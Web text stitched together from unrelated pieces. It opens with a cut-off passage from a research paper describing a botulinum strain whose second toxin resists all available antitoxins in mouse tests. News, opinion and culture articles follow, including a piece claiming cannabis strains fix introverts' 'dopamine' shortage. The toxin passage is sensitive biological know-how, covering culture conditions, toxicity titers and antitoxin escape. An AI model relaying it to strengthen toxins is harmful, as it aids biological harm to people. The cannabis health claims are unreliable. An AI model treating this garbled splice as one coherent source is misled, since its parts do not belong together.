Immunodiffusion
BoNT produced by IBCA10-7060 was studied with an immunodiffusion assay adapted from the classic methods of Ouchterlony and Nilsson [24] that have proved useful in identifying BoNT (Supplementary Materials) [25, 26]. We evaluated our immunodiffusion method by first using equine monovalent polyclonal botulinum antitoxins (CDC, Atlanta, GA) against unpurified BoNTs (culture filtrates) from the following Infant Botulism Treatment and Prevention Program reference strains: C. botulinum type A (Hall), C. botulinum type B (ATCC 7949), C. botulinum type F (Langeland), and C. botulinum type E (Detroit) incubated in trypticase peptone glucose yeast extract broth for 72 hours at 35°C.
Production of Antitoxin to Strain IBCA10-7060 Culture Filtrate
We produced polyclonal rabbit anti-IBCA10-7060 antitoxin for additional strain characterization studies by using the culture and ammonium sulfate precipitation methods of Hatheway et al to prepare a toxoid for injection into rabbits (Supplementary Materials) [27].
RESULTS
Diagnostic Testing of Patient Feces for BoNT
All mice injected with filter-sterilized stool extract alone or combined with ≥1 IU monovalent botulinum antitoxin A or with ≥1 IU of monovalent botulinum antitoxin B developed typical symptoms of botulism and died. Mice injected with boiled stool extract survived (BoNT is heat labile). Mice injected with stool extract plus antitoxin A died within 24 hours, while mice injected with stool extract plus antitoxin B died within 48 hours. Further studies to characterize the presumptive botulinum toxin(s) produced by IBCA10-7060 were performed with pure cooked meat glucose starch culture filtrates.
Identification of C. botulinum IBCA10-7060
Stool cultured on egg yolk agar grew mixed enteric flora that included rare lipase-positive colonies. Egg yolk agar subcultures of the unheated cooked meat glucose starch culture also grew lipase-positive colonies with an appearance consistent with that of C. botulinum. Four lipase-positive colonies were directly isolated from the original stool culture grown on egg yolk agar. API 20a and Rapid ANA II biochemical profiles identified these 4 proteolytic, lipase-producing isolates as either C. botulinum or Clostridium sporogenes, 2 species that are differentiated by identifying the expression of BoNT by C. botulinum [4]. A cooked meat glucose starch culture filtrate was tested in triplicate by DIG-ELISA, using test wells individually coated with monovalent capture antibodies to BoNT/A, /B, /E, and /F. BoNT/A, /B, and /F but not /E epitopes were detected in the culture filtrate.
Initial Mouse Bioassay Testing
Culture filtrates of the 4 IBCA10-7060 isolates contained heat-labile toxin that produced classic signs of botulism in mice. However, standard BoNT neutralization procedures failed to protect mice (Table 1). No monovalent antitoxin (anti-A through anti-G) or mixtures of monovalent antitoxins (AB, AF, BE, and BF) protected mice from IBCA10-7060 culture filtrates, even at 1:80 dilutions. Based on the ≥1 IU/0.1 mL (the intraperitoneal dose per mouse) potency of the CDC botulinum antitoxins and their inability to protect mice from a 1:80 dilution of IBCA10-7060 culture filtrate, the filtrate was calculated to contain BoNT in excess of 1.6 × 106 MLD 50 /mL. In an analysis involving 6 mice per serial doubling dilution, the 72-hour cooked meat glucose starch culture filtrate actually had a total toxicity of only 4 × 104 MLD 50 /mL.
Table 1. Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With 1 IU of Equine Antitoxinsa No Antitoxin A B C D E F G Mixture of Monovalent Antitoxinsb AB AF BF BEc ABEc ABFc 4 h 1/2 0/2 2/2 1/2 1/2 0/2 2/2 2/2 2/2 0/2 2/2 2/2 6/6 6/6 20 h 0/2 … 2/2 0/2 0/2 … 0/2 0/2 2/2 … 2/2 2/2 6/6 6/6 44 h … … 0/2d … … … … … 0/2d … 0/2d 0/2d 4/6 6/6 66 h … … … … … … … … … … … … 3/6 3/6 90 h … … … … … … … … … … … … 0/6d 0/6d Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With 1 IU of Equine Antitoxinsa No Antitoxin A B C D E F G Mixture of Monovalent Antitoxinsb AB AF BF BEc ABEc ABFc 4 h 1/2 0/2 2/2 1/2 1/2 0/2 2/2 2/2 2/2 0/2 2/2 2/2 6/6 6/6 20 h 0/2 … 2/2 0/2 0/2 … 0/2 0/2 2/2 … 2/2 2/2 6/6 6/6 44 h … … 0/2d … … … … … 0/2d … 0/2d 0/2d 4/6 6/6 66 h … … … … … … … … … … … … 3/6 3/6 90 h … … … … … … … … … … … … 0/6d 0/6d View Large
Table 1. Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With 1 IU of Equine Antitoxinsa No Antitoxin A B C D E F G Mixture of Monovalent Antitoxinsb AB AF BF BEc ABEc ABFc 4 h 1/2 0/2 2/2 1/2 1/2 0/2 2/2 2/2 2/2 0/2 2/2 2/2 6/6 6/6 20 h 0/2 … 2/2 0/2 0/2 … 0/2 0/2 2/2 … 2/2 2/2 6/6 6/6 44 h … … 0/2d … … … … … 0/2d … 0/2d 0/2d 4/6 6/6 66 h … … … … … … … … … … … … 3/6 3/6 90 h … … … … … … … … … … … … 0/6d 0/6d Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With 1 IU of Equine Antitoxinsa No Antitoxin A B C D E F G Mixture of Monovalent Antitoxinsb AB AF BF BEc ABEc ABFc 4 h 1/2 0/2 2/2 1/2 1/2 0/2 2/2 2/2 2/2 0/2 2/2 2/2 6/6 6/6 20 h 0/2 … 2/2 0/2 0/2 … 0/2 0/2 2/2 … 2/2 2/2 6/6 6/6 44 h … … 0/2d … … … … … 0/2d … 0/2d 0/2d 4/6 6/6 66 h … … … … … … … … … … … … 3/6 3/6 90 h … … … … … … … … … … … … 0/6d 0/6d View Large
Further Mouse Bioassay Characterization
The identification of BoNT/A, /B, and /F epitopes by ELISA prompted additional mouse bioassays (all performed in triplicate) with the 7 monovalent botulinum antitoxins, used either singly or in various bivalent and trivalent combinations. When used singly, only antitoxin B protected mice against death for the first 24 hours. When monovalent antitoxin B was used in bivalent combination either with monovalent antitoxin A or with monovalent antitoxin F, the mice were protected against death for up to 48 hours (Table 1). In all experiments that combined antitoxin B with antitoxin A or antitoxin F, mice were protected for about twice as long as they were with monovalent antitoxin B alone. However, characteristic botulism illness and death were always the final outcome when either the BA or BF antitoxin combination was used. Pairs of mice that received IBCA10-7060 culture filtrate combined with trivalent antitoxin mixtures of either A, B, and E monovalent antitoxins or A, B, and F monovalent antitoxins survived longer than mice that received either monovalent antitoxin B alone or one of the bivalent antitoxin mixtures (ie, AB or BF). When mixed with IBCA10-7060 culture filtrate, the trivalent antitoxin combinations prolonged the time to death of mice but were unable to protect the mice against eventual botulism-associated death (Table 1).
Additional mouse bioassays were performed using 6 mice per group to pursue the observed prolongation of time to death. When monovalent antitoxins A, B, and E or A, B, and F were combined to form a trivalent antitoxin, death of mice was prevented for up to 48 hours, compared with untreated control mice. However, by 48 hours mice given the trivalent antitoxin mixtures showed classic signs of botulism. Their illness then slowly progressed over the following 24–48 hours, and by day 4 (96 hours) almost all mice had died (Table 1). Thus, despite identification by DIG-ELISA and double immunodiffusion of BoNT/A, /B and /F epitopes in IBCA10-7060 culture filtrates, the toxicity of the culture could not be neutralized with a trivalent mixture of monovalent A, B, and F diagnostic antitoxins. The experiment of mixing IBCA10-7060 culture filtrate with combined diagnostic monovalent antitoxins A, B, and F was repeated >10 times and always yielded the same result of all mice dying by days 4–7.
Heptavalent equine botulinum antitoxin, an F(ab’) 2 product that contains antitoxins to BoNT types A–G in substantially higher concentrations than in the monovalent antitoxins, was diluted to make the neutralizing potency of individual anti-A, anti-B, and anti-F components of the heptavalent antitoxin closer to that of the CDC monovalent antitoxins. The undiluted and diluted heptavalent antitoxin was proven to be 100% effective in protecting all mice in control studies against toxic culture filtrates produced by the BoNT/A-, BoNT/B-, and BoNT/F-producing reference strains of C. botulinum listed previously (Table 2). When injected with 0.5 mL of a 1:20 dilution of IBCA10-7060 culture filtrate combined with 0.1 mL of heptavalent A–G botulinum antitoxin that was diluted either 1:10, 1:20, or 1:25, all mice in all groups (6 mice per group) became symptomatic by 48 hours. The 0.5 mL of the 1:20 culture filtrate dilution contained approximately 1000 MLD 50 of BoNT activity, and the 0.1 mL of the 1:10 heptavalent antitoxin dilution contained anti-A, anti-B, and anti-F neutralizing potencies of approximately 23 800 MLD 50, 29 500 MLD 50, and 29 100 MLD 50, respectively. Thus, mice injected with the diluted heptavalent product received an enormous excess of anti-A, anti-B, and anti-F neutralizing antibodies that nonetheless was unable to prevent their death from botulinum intoxication.
Table 2. BoNTa Mouse Survival 7 d After Challenge With BoNT, With or Without Heptavalent Antitoxin No Antitoxinb Undiluted Antitoxinc Diluted Antitoxin, by Dilution Ratio 1:5 1:10d 1:20 1:25e Hall A 0/4 4/4 4/4 4/4 4/4 4/4 Okra B 0/4 4/4 4/4 4/4 4/4 4/4 Langeland F 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + Ff 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + B + Fg 0/4 4/4 4/4 4/4 4/4 4/4 BoNTa Mouse Survival 7 d After Challenge With BoNT, With or Without Heptavalent Antitoxin No Antitoxinb Undiluted Antitoxinc Diluted Antitoxin, by Dilution Ratio 1:5 1:10d 1:20 1:25e Hall A 0/4 4/4 4/4 4/4 4/4 4/4 Okra B 0/4 4/4 4/4 4/4 4/4 4/4 Langeland F 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + Ff 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + B + Fg 0/4 4/4 4/4 4/4 4/4 4/4 View Large
Table 2. BoNTa Mouse Survival 7 d After Challenge With BoNT, With or Without Heptavalent Antitoxin No Antitoxinb Undiluted Antitoxinc Diluted Antitoxin, by Dilution Ratio 1:5 1:10d 1:20 1:25e Hall A 0/4 4/4 4/4 4/4 4/4 4/4 Okra B 0/4 4/4 4/4 4/4 4/4 4/4 Langeland F 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + Ff 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + B + Fg 0/4 4/4 4/4 4/4 4/4 4/4 BoNTa Mouse Survival 7 d After Challenge With BoNT, With or Without Heptavalent Antitoxin No Antitoxinb Undiluted Antitoxinc Diluted Antitoxin, by Dilution Ratio 1:5 1:10d 1:20 1:25e Hall A 0/4 4/4 4/4 4/4 4/4 4/4 Okra B 0/4 4/4 4/4 4/4 4/4 4/4 Langeland F 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + Ff 0/4 4/4 4/4 4/4 4/4 4/4 BoNT A + B + Fg 0/4 4/4 4/4 4/4 4/4 4/4 View Large
Each successive dilution of the heptavalent antitoxin provided less protection for the mice; that is, as the dilution of heptavalent antitoxin increased, the mice more rapidly developed symptoms of botulism and died. Death of symptomatic mice was first observed by day 3 (Table 3). All 6 mice injected with culture filtrate combined with heptavalent antitoxin diluted 1:25 died by day 4; when the antitoxin was diluted 1:20, all 6 mice died by day 6; and when the antitoxin was diluted to 1:10, all 6 mice died by day 7 (Table 3).
Table 3. Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With Heptavalent Antitoxina Undilutedb 1:5 1:10 1:20 1:25 4 h 6/6 6/6 6/6 6/6 6/6 20 h 6/6 6/6 6/6 6/6 6/6 44 h 6/6 6/6 6/6 6/6 6/6 66 h 6/6 6/6 4/6 4/6 4/6 90 h 6/6 6/6 4/6 4/6 0/6c 114 h 6/6 6/6 4/6 1/6 … 140 h 6/6 6/6 3/6 0/6 … 163 h 6/6 6/6 0/6d … … 4 mo 6/6d 6/6d … … … Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With Heptavalent Antitoxina Undilutedb 1:5 1:10 1:20 1:25 4 h 6/6 6/6 6/6 6/6 6/6 20 h 6/6 6/6 6/6 6/6 6/6 44 h 6/6 6/6 6/6 6/6 6/6 66 h 6/6 6/6 4/6 4/6 4/6 90 h 6/6 6/6 4/6 4/6 0/6c 114 h 6/6 6/6 4/6 1/6 … 140 h 6/6 6/6 3/6 0/6 … 163 h 6/6 6/6 0/6d … … 4 mo 6/6d 6/6d … … … View Large
Table 3. Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With Heptavalent Antitoxina Undilutedb 1:5 1:10 1:20 1:25 4 h 6/6 6/6 6/6 6/6 6/6 20 h 6/6 6/6 6/6 6/6 6/6 44 h 6/6 6/6 6/6 6/6 6/6 66 h 6/6 6/6 4/6 4/6 4/6 90 h 6/6 6/6 4/6 4/6 0/6c 114 h 6/6 6/6 4/6 1/6 … 140 h 6/6 6/6 3/6 0/6 … 163 h 6/6 6/6 0/6d … … 4 mo 6/6d 6/6d … … … Time After Injection, Mean Mouse Survival After Challenge With Culture Filtrate Mixed With Heptavalent Antitoxina Undilutedb 1:5 1:10 1:20 1:25 4 h 6/6 6/6 6/6 6/6 6/6 20 h 6/6 6/6 6/6 6/6 6/6 44 h 6/6 6/6 6/6 6/6 6/6 66 h 6/6 6/6 4/6 4/6 4/6 90 h 6/6 6/6 4/6 4/6 0/6c 114 h 6/6 6/6 4/6 1/6 … 140 h 6/6 6/6 3/6 0/6 … 163 h 6/6 6/6 0/6d … … 4 mo 6/6d 6/6d … … … View Large
Paradoxically, however, when used undiluted and at the 1:5 dilution, the heptavalent A–G F(ab’) 2 antitoxin protected the mice from death, probably via formation of nonspecific immune complexes between nonneutralizing antibodies in the F(ab’) 2 polyclonal antitoxin and the multiple epitopes on the surface of the toxin (see Discussion; Table 3, footnote d). These surviving mice were observed for 4 months for any late-developing signs of botulism that might follow gradual renal clearance of unbound F(ab’) 2 antibodies, as others have found when using F(ab’) 2 antitoxins [28–31]. All mice remained healthy for the full 4 months, as assessed on the basis of weight gain and the absence of illness.
Relative Amounts of Toxins B and H in Culture Filtrates
After it was realized that strain IBCA10-7060 produced BoNT/B and an unneutralizable second BoNT with A- and F-like epitopes, culture filtrate was serially diluted and injected intraperitoneally into mice to determine the relative amounts of the 2 toxins. Cooked meat glucose starch culture filtrate of IBCA10-7060 containing approximately 40 000 MLD 50 /mL of total BoNT activity was serially diluted and inoculated intraperitoneally into 2 parallel sets of mice. Four mice per dilution received filtrate with or without excess anti-B monovalent antitoxin. The 50% lethal end points among the mice that did not receive anti-B antitoxin and the mice that received anti-B antitoxin were compared, and the ratio of BoNT/B to BoNT/H was approximately 24:1. Although type B toxicity always exceeded type H toxicity, this ratio varied in subsequent experiments.
Efficacy of Antitoxin Raised Against IBCA10-7060 Culture Filtrate
Neutralization of strain IBCA10-7060 toxins was evaluated in mice, using a rabbit polyclonal IgG antitoxin (Rα7060) raised against a toxoid of culture filtrate. The apparent potency of Rα7060 antitoxin was relatively low, compared with that of the CDC monovalent antitoxins; its exact potency was not determined. A 0.1 mL amount of Rα7060 antitoxin neutralized a 1:500 dilution of IBCA10-7060 culture filtrate but not more-concentrated culture filtrates (Table 4). Based on an IBCA10-7060 culture filtrate titer of 4 × 104 MLD 50 /mL, 0.2 mL of Rα7060 antitoxin product neutralized approximately 800 MLD 50 /mL of BoNT/B and /H. Rα7060 antitoxin also neutralized toxic culture filtrates of C. botulinum type B (Okra) but did not neutralize toxic culture filtrates of C. botulinum type A (Hall) or of C. botulinum type F (Langeland), even when they were |
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“Some friends of mine make fun of me for supporting Trump and his ‘racist policies,'” he added. “But when we discuss it deeper and they think about it, they agree it’s natural to feel protective of your home.”
Perez moved to the United States for college after a couple from Idaho who had been teaching him English encouraged him to apply for a student visa. He got a bachelor’s degree in computer animation, and when he was unable to get legal permanent residence decided to go for a second degree on a student visa. He’s now in his final year of a bachelor’s degree in business and marketing, and hopes to stay in the U.S. as long as he can, whether through more education or a job sponsorship program.
“I worry all the time, and it’s a point of constant stress for me and my family,” he told TheDCNF, regarding his prospects of staying in the country. “I anticipate staying for a couple more years.”
He is married to a Mexican citizen, and they have two U.S.-born children, ages 5 and 2. “I have lived in the U.S. for about 10 years now, and I have learned to love this country, the American people and their values,” he said. “I recognize the U.S. is what it is today because of hard working, law abiding people who have fought for doing what’s right.”
He hopes Trump will make it easier for people like him to come and live in the country legally, which he said is “tough” to do right now. Nevertheless, he says he and his wife believe they have no right to complain about immigration policies that put the interests of the country first.
“They run away from Mexico because it’s a country where laws don’t matter; corruption and crime run free from consequences,” he told TheDCNF, referring to his fellow Mexican immigrants. “I wish the best to anyone who comes here in search of a better life, but it doesn’t make sense to me to leave a country where the disregard of the law has made it the way it is, and then come to the U.S., and the first thing you do is disregard the laws of the land.”
Saying he felt “left behind in the cold,” by President Obama’s focus on helping illegal immigrants, Perez told TheDCNF he wants to see more of a conversation about legal immigrants and people like him on student visas. “For awhile there it seemed the best way to stay in the U.S. was to purposefully lose status to become illegal,” he said. “Shouldn’t it be the other way around?”
Trump has promised to build a wall and talked of deporting some of the 11 million or so illegal immigrants already in the country, but says he wants to embrace legal immigrants. “I want people to come in,” he said at a rally in November. “I want tremendous numbers of people to come in. And we’re going to have that big, beautiful door in the wall. But you know what? They have to come in through a process, they have to come in legally.”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.In the wake of the Warriors’ second NBA title in three years, there is already an important question being raised. Will the Dubs take the customary championship visit to the White House? CNBC’s Josh Brown, among others, said he’d seen reports the Warriors had unanimously voted to skip the White House visit.
NBA champion Warriors skipping the White House visit, as a unanimous team decision per reports. — Downtown Josh Brown (@ReformedBroker) June 13, 2017
Multiple members of the Warriors, including Steph Curry and Steve Kerr, have been outspoken in their criticism of President Trump in the past and skipping the visit to the White House would be a significant statement. Since the tradition began back in 1865, no championship team for any major American sport has skipped out on an invitation to visit the White House.
Most recently six members of the New England Patriots publicly announced they would not be attending their championship White House visit, with defensive end Chris Long being quoted as saying, “[When] my son grows up – and I believe the legacy of our president is going to be what it is – I don’t want him to say, ‘Hey dad, why’d you go when you knew the right thing was to not go?'”
To clear up confusion in the Twitterverse, however, the Warriors released an official statement regarding the possibility of passing on an invitation to the White House:TRENTON -- A lab worker for the state Medical Examiner's Office was fired and criminally charged for allegedly stealing cash from a dead man's body, authorities said.
Darryl L. Green, 48, is accused of taking $1,120 from a 28-year-old man killed in a Newark car crash on December 18, according to the state Division of Criminal Justice.
Authorities say the man died following a single-car crash on Sherman Avenue around 3:15 a.m. Law enforcement and medical examiner staff at the scene noted the large sum of cash in the man's pocket before placing him in a body bag.
But when he was removed from the body bag the next day at the Northern Regional Medical Examiner's Office in Newark, police say, the cash was gone.
Trooper pulled over women to ask them out, AG says
State investigators claim Green removed the cash from the man's clothing sometime before the autopsy.
Green, of Piscataway, was a forensic morgue technician at the office, where his duties included making photographic records of autopsies. He has worked there since 2014 and made an annual salary of $52,000, according to public records.
After the discovery, authorities said Green was fired and charged with third-degree theft by unlawful taking. He faces three to five years in state prison and a fine of up to $15,000.
He could not immediately be reached for comment and it was not clear whether he had retained an attorney.
S.P. Sullivan may be reached at ssullivan@njadvancemedia.com. Follow him on Twitter. Find NJ.com on Facebook.During the Globsec conference on April 15–17, the audience was asked whether it was time for the EU to have its own intelligence agency. Over two-thirds voted yes. Almost half of those respondents said any such agency should be under the control of the European Parliament. Of those who voted no, most believed it was up to the EU member states to deal with intelligence and counterterrorism issues.
This snap poll was telling. It showed how the public (if a bunch of foreign, security, and defense policy experts can be described as the vox populi) was finally coming round to the idea that European citizens cannot depend on their own governments to protect them, despite governments’ best intentions. This is because the nature of terrorism has fundamentally changed. The EU has to find ways to respond.
Judy Dempsey Dempsey is a nonresident senior fellow at Carnegie Europe and editor in chief of Strategic Europe. More > @Judy_Dempsey
A new paper, Towards a ‘Security Union’: Bolstering the EU’s Counter-Terrorism Response, published on April 20 by the European Political Strategy Centre (EPSC), takes up this issue. The EPSC, which was set up by European Commission President Jean-Claude Juncker to provide analysis and policy advice, makes a compelling case for a security union. This is something Juncker has been pushing for, but so far with no traction.
The main reason for the lack of progress is that the initiative would require political will and a major change of mind-set by all 28 EU member states to share intelligence and establish a counterterrorism network. As it is, the majority of EU interior ministers loath the idea of sharing information, even though no one country and its security agencies can cope with or assess the threats and possible attacks European citizens face.
Essentially, it is going to require a special pooling of sovereignty and of information and expertise if European governments want to enhance not only the security of their citizens but also essential infrastructure facilities such as energy, transportation networks, and utilities.
The EU already has a plethora of security agencies ranging from individual national police forces and judicial authorities to the EU law enforcement agency Europol, the judicial cooperation agency Eurojust, the EU Intelligence Analysis Center INTCEN, and the border management agency Frontex.
The problem with the EU agencies is that they are either underfunded or constructed in a way that does not facilitate genuine sharing of intelligence and information. Also, in the member states there is competition between the security and intelligence agencies rather than the instinct to share. The Belgian authorities admitted as much after the March 22 suicide bomb attacks in Brussels that killed 32 victims plus the three terrorists.
As the EPSC points out, the 9/11 attacks in New York and Washington forced the United States to bring all the security services under the roof of a new Department of Homeland Security. The EPSC report states there is no comparison between Europe and the United States. But the authors argue that “the larger lesson of better integrating and coordinating across various policy fields that pertain to security does appear to be necessary in order to prevent future attacks.” That’s some understatement.
The EPSC proposes that the EU should consolidate “a European multi-level counter-terrorism network.” Even though national security remains the sole responsibility of each member state, there is plenty of scope in the EU treaties for cross-border cooperation. In practice, this cooperation could be anchored on a data- and information-sharing arrangement. The Schengen Information System was designed for this purpose in the EU’s passport-free Schengen Area but was never developed in any systematic or sustained way.
Ideally, the new system outlined by the EPSC would also mean creating an interoperable and seamless exchange of information. This would entail all member states agreeing to set up a “single, user-friendly interface permitting single search as well as the ability to perform batch comparison across databases.” The ESPC rightly draws on the experience of Estonia, which has integrated its databases, to show how a Single European Identity Management System could work. In principle, as the ESPC points out, such an arrangement would avoid the multiple collection, registration, and storage of personal data.
Critics of these ideas would justifiably question how individual data would be kept safe and private, who would have access to the system, and which authority would be accountable for it. These are important issues, but so is security to protect freedom.
Euroskeptics too would pull the EPSC’s ideas apart on the grounds that the European Commission was amassing more powers at the expense of the member states. Yet even British Prime Minister David Cameron, who is no fan of the EU, has repeatedly argued that Britain’s security would be weakened if the UK left the EU. He could also argue—but he won’t in the middle of the current referendum campaign on Britain’s future relationship with the EU—that the EU needs a much stronger security policy focusing on counterterrorism.Introverts are people who tend to ‘regenerate’ and find peace away from other people. They tend to prefer solitude to expending energy doing the activities that extroverts do such as spending time with people in social situations.
Unfortunately sometimes introverts have to fit in a world that tends to run in a fast paced way with lots of other people, thus, some introverted people find that cannabis can help them with the energy loss that comes along with modern society.
Using high energy sativa hybrid strains, with high THC levels can help some people feel alert and energised. Such strains like Sour Diesel have been bred for just this type of activity.
It is said that people who are lacking in dopamine can tend to be introverted. dopamine is a hormone that the brain uses to create a reward system. Things that make you happy are rewarded by releasing dopamine into the brain. As introverts don’t release this hormone is as large amounts they don’t get as much joy from large parties.
Introverted smokers are best using strains that can ease social anxiety such as OG Kush. By delaying the mechanism that causes a classic bodily response to fear, OG Kush means introverts can function as people might need them to.
People tell introverts to ‘come out of their shell’, but by using the right strain of cannabis, this can really be helped.Dorothy Arzner (1897 - 1979) and Sonya Levien (1888 - 1960), the film director and screen writer who are collaborating on the Fox film 'The Captive Bride'. A former editor, Arzner gained fame as the only female director in Hollywood in the 1930's. | (Photo by Hulton Archive/Getty Images).
Long before there was Penny Marshall, Kathryn Bigelow, or even Elizabeth Banks, there was Dorothy Arzner. She was the only woman who worked regularly as a director in Hollywood during the 1920s through the 1940s, and her record of helming 20 films is still unbroken. These included major studio releases such as "Christopher Strong" (1933) and "Craig's Wife" (1936), films with feminist undertones and unhappy endings. Her best known creation, however, is "Dance, Girl, Dance" (1940), a rollicking comedy about dance, and the battle between art and commerce, a film which launched Lucille Ball into stardom. But, this proved to be Arzner's penultimate film, and she retired in 1943.
Born in San Francisco, she was raised in Los Angeles. Her father ran a restaurant popular with the Hollywood set, and through William DeMille (Cecile B.'s brother), she got a job working at Famous Players-Lasky Corporation, which became Paramount, as a stenographer. She quickly moved into script writing and then editing. They valued her so highly as an editor that they gave her "Blood and Sand," the Rudolph Valentino vehicle. Arzner directed some of the bullfighting scenes. In 1927, she was ready to leave for a smaller studio so she could direct, because that is what she had decided she really wanted to do. In a 1974 interview with film critics Karyn Kay and Gerald Peary, Arzner said she had been thinking, "If one was going to be in this movie business, one should be a director because he was the one who told everyone else what to do. In fact, he was the 'whole works.'"
1931: A scene from the film "Working Girls" featuring Judith Wood and Stuart Erwin (1903 - 1967) the character comedian. The film was directed by Dorothy Arzner. | (Photo by Hulton Archive/Getty Images).
To keep her, Paramount offered her the helm of "Fashions for Women," a comedy about a cigarette girl who falls in love with a count. Not surprisingly, Arzner was handed a series of what came to be known as "women's films," and a rather delirious implausibility of plot is one of the common characteristics of the genre. Having worked her way through the system, the transition was a natural one, although the news media had a field day hailing the "girl director." As a director, Arzner was considered a good one, competent and reliable enough to bring a film in on time and on budget. Paramount entrusted her with Clara Bow's first talkie film, "The Wild Party" (1929). The director suggested putting a mike on a fishing pole to better capture dialogue -- thus, the invention of the "boom mike." In 1932 she finally left Paramount, and worked as an independent director for several studios, often working with women who were major stars -- or who were to become major stars.
In appearance, Arzner wore her dark hair short and outfitted in snappy tailored suits, sometimes with a tie. A youthful photo of her shows her dressed like a schoolboy, replete with cap. Arzner lived in an earlier age of "Don't Ask, Don't Tell," as it was apparently widely known in the business that she was a lesbian, but she just didn't talk about it. She had several liaisons with women, and lived the last 40 years of her life with Marion Morgan, a choreographer who sometimes worked on her films.
Over the last few decades, with the rise of women and gender studies, film scholars have deconstructed Arzner's films, looking for feminist and lesbian content. It seems to me that while Arzner might have found fast-talking, liberated women delightful to put on screen, she almost always had to rein them in at the end. This was consonant with popular mores -- as well as what studio bosses thought was good for their audiences. There was a reason why Arzner worked long and successfully in the studio system.
Take "Christopher Strong," Katharine Hepburn's first starring film. She plays Lady Cynthia Darrington, a glamorous free spirit and an aviatrix, who at the beginning of the film denies having had any love affair -- and indeed, hopes not to have one. In one scene, she steps out of her bedroom covered head to feet in a gold lamé, form-hugging bodysuit that makes her appear an interstellar traveler, a woman from the future. Alas, she's pulled back down to earth in typical 1930s melodrama fashion -- she falls in love with a married man, and then, oops, gets pregnant. Her response is to do the honorable and kill herself while flying. Critic Pauline Kael has written that Strong "was drawn to her because, unlike his conventionally feminine wife (Billie Burke), she had audacity and independence... But as soon as they went to bed together, he insisted, late on the very first night, that she not fly in the match she was entered in."
A somewhat more complex woman is presented in "Craig's Wife," a melodrama adapted from a play. In her breakthrough role, Rosalind Russell played Harriet Craig, an oppressive control freak who likes her home and the people around her to be just so. She recognizes that marriage was her way to achieve "independence" -- she has so few choices in life -- but in the end her cold heart pushes everyone away. Producer Cecil B. DeMille said the film is about "A woman who made the fatal mistake of making love come second..." which is in fact often the allegation against women in "women's films." While these films were made for the female audience, they also served as object lessons for keeping women in their place.
"Dance, Girl, Dance" is generally considered Arzner's best film. She lets her actresses go with fast lines and screwball situations. Ball plays gold-digger "Bubbles," who becomes queen of New York burlesque, while her colleague Maureen O'Hara plays idealistic Judy, who aspires to become a serious dancer. It contains one of the most celebrated scenes in feminist film criticism, the scene where Judy, having had to dance a ballet in Bubble's burlesque show for comic relief, confronts the mostly male audience. "Go ahead and stare, I'm not ashamed," she scolds them from the stage. "What do you suppose we think of you up here -- with your silly smirks your mothers would be ashamed of?" In fact, she says, we think YOU are laughable. It's a landmark moment when the male gaze is confronted with the female gaze. And this film does have a happy ending for our heroine, at least in her professional life.
Arzner retired in 1943, after her last and not very successful film, "First Comes Courage," a film with a wartime theme. She had caught pneumonia the last week of shooting, and her health is often cited as the reason for her leaving the business. However, in a 1975 Los Angeles Times interview, she said, "[Louis B.] Mayer put out the word that I was difficult, and you know how producers talk to each other. I think that was the reason I left." Later, she made commercials, and also taught screenwriting and directing at UCLA -- among her students was Francis Ford Coppola. She died in 1979 in La Quinta.
Since Arzner's time, the number of women directors of feature films has certainly increased, although it is still low. Dr. Martha Lauzen at San Diego State University has been compiling research about women in film and television for the report, "The Celluloid Ceiling," for 17 years. The section called "Behind-the-Scenes Employment of Women on the Top 250 Films of 2014" is sobering. In 2014, women made up 17 percent of all directors, writers, producers, executive producers, editors, and cinematographers working on these top films ("top" meaning in terms of domestic gross). This was the same as in 1998. Women directors were 7 percent of the directors, up by one percent from the year before, but down 2 percent from 1998.
It's worth noting that a couple women directors headlined two major releases this year -- Sam Taylor-Johnson, known mainly as an art film director, directed the controversial "50 Shades of Grey" and actress Elizabeth Banks made her directorial debut with "Pitch Perfect 2." The latter's $69 million opening weekend gross set a record for a first time director. Of either sex. (Banks performed double duty on this one, also appearing onscreen as a newscaster having to deal with the sexist comments of her co-anchor.) However, like Arzner, they've had to cater to stereotypes -- "50 Shades" has been criticized for plugging into the notion that all women are secretly masochistic, and "Pitch" depicts young women as airheaded nincompoops in lipstick and high heels. Neither film can be called a feminist anthem.
This month through mid September, there's the opportunity to see some of Arzner's remarkable output -- on the big screen, as it was meant to be seen. The UCLA Film and Television Archive is presenting "Dorothy Arzner: A Retrospective" from July 31 - September 18, 2015 at the Billy Wilder Theater at the Hammer Museum. They will be showing 14 of her films, which includes films she wrote. For more information visit the UCLA Film & Television Archive website.
Dig this story? Sign up for our newsletter to get unique arts & culture stories and videos from across Southern California in your inbox. Also, follow Artbound on Facebook and Twitter.The Unwritten Code: Social Etiquette of the Muslims
Often times people have interesting experiences in their initial interactions with the Muslim community. Most of us can probably remember some awkward occurrences prior to learning the social “Do’s and Don’ts” around Muslims. These are the unknown and often awkwardly discovered social codes of Muslims that many people are not initially aware exist. We can call committing these mistakes a “Beginners Blunder.” Those little things that you may not have realized Muslims don’t do that might get some strange stares cast at you.
I have had people ask several times “What do I need to know so I don’t offend anyone or look stupid?” Below is a small compilation of these unwritten codes that will hopefully save some people from awkward or embarrassing moments. Feel free to print it out and study it carefully, depending on your level of concern for cultural literacy.
1. Gender Interaction
In Islam there is a certain sanctity that is given to the human body. Not only how we treat our own body, but how we treat others.
-HIGH-FIVES, HAND SHAKES, AND HUGS… OH MY!!!
